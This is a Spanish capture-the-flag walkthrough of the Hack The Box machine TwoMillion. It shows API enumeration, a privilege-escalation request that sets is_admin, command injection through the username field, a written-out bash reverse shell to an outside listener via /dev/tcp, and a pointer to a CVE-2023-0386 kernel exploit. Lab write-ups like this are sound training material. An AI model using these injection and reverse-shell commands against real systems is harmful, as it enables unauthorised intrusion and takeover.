TwoMillion



Enumeración:

       │ File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Thu Jun 19 15:52:11 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p22,80 -oN targeted 10.10.11.221
   2   │ Nmap scan report for 10.10.11.221
   3   │ Host is up (0.16s latency).
   4   │ 
   5   │ PORT   STATE SERVICE VERSION
   6   │ 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
   7   │ | ssh-hostkey: 
   8   │ |   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
   9   │ |_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
  10   │ 80/tcp open  http    nginx
  11   │ |_http-title: Did not follow redirect to http://2million.htb/
  12   │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  13   │ 
  14   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  15   │ # Nmap done at Thu Jun 19 15:52:27 2025 -- 1 IP address (1 host up) scanned in 16.44 seconds
───────┴───────────────────────────────────────────────────────────────────────────────────────────────

Un puerto 80 corriendo al entrar:

Con el gran wappalyzer se vio un ngix:

Revisé la página de inicio de sesión con credenciales predeterminadas, pero no me sirvió de nada. Así que primero, vamos a crear una cuenta aquí. Al hacer clic en el botón "Unirse a htb", nos redirigirán a la página "/invitar", donde se nos pedirá el código de invitación.


Forma inspeccionando la página y viendo la red:

  • En la pestaña Red, podemos ver que se está cargando el archivo inviteapi.min.js y que contiene algún código js ofuscado.


Tiene dos funciones: una para verificar el código de invitación y otra para generarlo. makeInviteCode()Parece ser responsable de generar el código de invitación. La función simplemente realiza una solicitud de publicación a la URL /api/v1/invite/how/to/generate. Vamos a convertirlo manualmente en cURL.

�� Consumo de una API REST desde la terminal

curl -s -X POST "http://2million.htb/api/v1/invite/generate" | jq
  • Con cada petición va cambiando y al parecer ser que esta en base64:

echo "S0hHMTItS1ZYSlgtTEVTRTEtREtKTTA=" | base64 -d

  • Una vez registrado:

Se puede ver varias endpoints:

http://2million.htb/api/v1/user/vpn/generate   
http://2million.htb/api/v1/user/vpn/regenerate

API REST | Endpoint

Tanto por curl que po Burp Suite se puede

Consultar el endpoint raíz de la API REST en http://2million.htb/api/v1 para enumerar las rutas disponibles, autenticado mediante una sesión PHP (PHPSESSID).

curl -s http://2million.htb/api/v1 | jq

curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=ur9lqvppvr1b64cr4p0em8ulqb" | jq
¿Qué hace cada API?

📜 Respuesta de la API (resumen estructurado)

La API devuelve una lista organizada de rutas disponibles:

Rutas públicas disponibles (GET)

Endpoint
Función

/api/v1

Lista todas las rutas de la API.

/api/v1/invite/how/to/generate

Instrucciones para generar un código de invitación.

/api/v1/invite/generate

Generar un nuevo código de invitación.

/api/v1/invite/verify

Verificar un código de invitación.

/api/v1/user/auth

Verifica si el usuario está autenticado.

/api/v1/user/vpn/generate

Genera una nueva configuración VPN.

/api/v1/user/vpn/regenerate

Regenera la configuración VPN.

/api/v1/user/vpn/download

Descarga el archivo de configuración .ovpn.

Rutas públicas disponibles (POST)

Endpoint
Función

/api/v1/user/register

Registrar un nuevo usuario.

/api/v1/user/login

Iniciar sesión con un usuario existente.

Rutas para usuarios administradores (admin)

GET

Endpoint
Función

/api/v1/admin/auth

Verifica si el usuario es administrador.

POST

Endpoint
Función

/api/v1/admin/vpn/generate

Genera configuración VPN para un usuario específico.

PUT

Endpoint
Función

/api/v1/admin/settings/update

Actualiza configuraciones del usuario.


Enumerando la API de administración:

Tenemos tres puntos finales de API en /api/v1/admin. Probémoslos todos.

  • Cuando intentamos obtener una solicitud a /api/v1/admin/auth, recibimos un mensaje Falso que significa que no somos administradores.


Ahora usaremos el siguiente endpoint con PUT:

Endpoint
Función

/api/v1/admin/settings/update

Actualiza configuraciones del usuario.

  • Copiemos el tipo de contenido de la respuesta a la solicitud y reenviemos la solicitud. Esta vez recibimos otro mensaje que indicaba que faltaba el parámetro de correo electrónico.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" | jq

  • Agreguemos el correo electrónico en formato JSON y reenviemos la solicitud. Esta vez, recibimos nuevamente un mensaje que indica que falta el parámetro is_admin.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"email": "las@las.com"}'

  • Ahora agreguemos "is_admin" en formato JSON y reenviemos la solicitud. Finalmente, le damos privilegios de administrador a nuestra cuenta.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"email": "las@gmai.com", "is_admin": 1}' | jq

Al ser administrador podemos generar una VPN:

Ahora podemos listar las VPN:

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" | jq
Nos pide el usuario

Ahora somos administradores, así que intentemos enviar una solicitud a /api/v1/admin/vpn/generate, que no estaba autorizada anteriormente. En esta ocasión, recibimos un mensaje que indica que falta el parámetro "nombre de usuario" y, al agregarlo a nuestra solicitud, obtenemos la clave VPN generada.

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las"}'

Inyección de comando

Probablemente no sea el código PHP el que genera una clave VPN, sino algunas herramientas Bash que generan la información necesaria para una clave VPN.

Vale la pena comprobar si hay alguna inyección de comando.

Si el servidor está haciendo algo como openvpn gen_vpn.sh [nombre de usuario], intentaré poner un "a" ;en el nombre de usuario para convertirlo en un nuevo comando. También añadiré un " #a" al final para comentar cualquier cosa que pueda venir después de mi entrada. Funciona:

las; whoami #"
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las; whoami #"}'
  • Incluyamos un comando de shell inverso bash -i en el archivo login.php usando el comando del sistema y activemos mi escucha netcat en el puerto 1234.

 bash -c \"bash -i >& /dev/tcp/10.10.16.43/1234 0>&1\";

Comando:

curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las;"}'

En los archivos ocultos hay un .env:

Con esta credencial entramos por ssh como el usuario admin:

Busca todos los archivos y directorios en el sistema (/) que pertenecen al usuario admin.:

find / -user admin 2>/dev/null | grep -vE "sys|proc"

Se encontro un mail:

Identificación de vulnerabilidad #

Habla de algo relacionado con OverlayFS/FUSE CVE. Busquémoslo en Google. Encontramos mucha información sobre CVE-2023-0386.

Explotar #

Hay una prueba de concepto (POC) de este exploit en GitHub del investigador xkaneiki. El archivo README.md es escueto, pero ofrece suficientes instrucciones de uso.

No pude clonar directamente este repositorio en mi máquina de destino, así que lo cloné en mi máquina local y luego lo descargué en mi máquina de destino usando el servidor Python.

  • Tenemos que enviar la carpeta a otro servidor y para ello lo comprimimos:

zip comprimido.zip -r CVE-2023-0386

Seguimos las instrucciones del git:


Last updated